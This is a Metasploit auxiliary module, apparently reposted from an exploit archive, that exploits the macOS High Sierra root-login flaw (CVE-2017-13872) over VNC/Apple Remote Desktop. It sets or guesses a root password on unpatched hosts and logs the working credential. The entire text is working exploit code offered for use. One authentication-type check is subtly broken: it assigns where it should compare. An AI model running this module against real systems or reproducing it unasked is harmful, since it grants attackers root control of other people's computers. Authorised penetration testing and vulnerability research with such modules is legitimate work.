Apple Remote Desktop Root

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Apple Remote Desktop Root Vulnerability',  
'Description' => 'Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.',  
'References' =>  
[  
['CVE', '2017-13872'],  
['URL', 'https://support.apple.com/en-us/HT208315']  
],  
'Author' => 'jgor',  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
Opt::RPORT(5900),  
OptString.new('PASSWORD', [false, 'Set root account to this password', ''])  
])  
end  
  
def log_credential(password)  
print_good("Login succeeded - root:#{password}")  
  
service_data = {  
address: target_host,  
port: rport,  
service_name: 'vnc',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
module_fullname: self.fullname,  
origin_type: :service,  
username: 'root',  
private_data: password,  
private_type: :password  
}.merge(service_data)  
  
credential_core = create_credential(credential_data)  
  
login_data = {  
core: credential_core,  
last_attempted_at: DateTime.now,  
status: Metasploit::Model::Login::Status::SUCCESSFUL  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def run_host(target_host)  
begin  
if datastore['PASSWORD'].empty?  
password = Rex::Text::rand_text_alphanumeric(16)  
else  
password = datastore['PASSWORD']  
end  
  
connect  
vnc = Rex::Proto::RFB::Client.new(sock)  
if vnc.handshake  
type = vnc.negotiate_authentication  
unless type = Rex::Proto::RFB::AuthType::ARD  
print_error("VNC server does not advertise security type ARD.")  
return  
end  
print_status("Attempting authentication as root.")  
if vnc.authenticate_with_type(type, 'root', password)  
log_credential(password)  
return  
end  
else  
print_error("VNC handshake failed.")  
return  
end  
disconnect  
  
connect  
vnc = Rex::Proto::RFB::Client.new(sock)  
print_status("Testing login as root with chosen password.")  
if vnc.handshake  
if vnc.authenticate_with_user('root', password)  
log_credential(password)  
return  
end  
else  
print_error("VNC handshake failed.")  
return  
end  
disconnect  
  
connect  
vnc = Rex::Proto::RFB::Client.new(sock)  
print_status("Testing login as root with empty password.")  
if vnc.handshake  
if vnc.authenticate_with_user('root', '')  
log_credential('')  
return  
end  
else  
print_error("VNC handshake failed.")  
return  
end  
  
ensure  
disconnect  
end  
  
end  
end  
`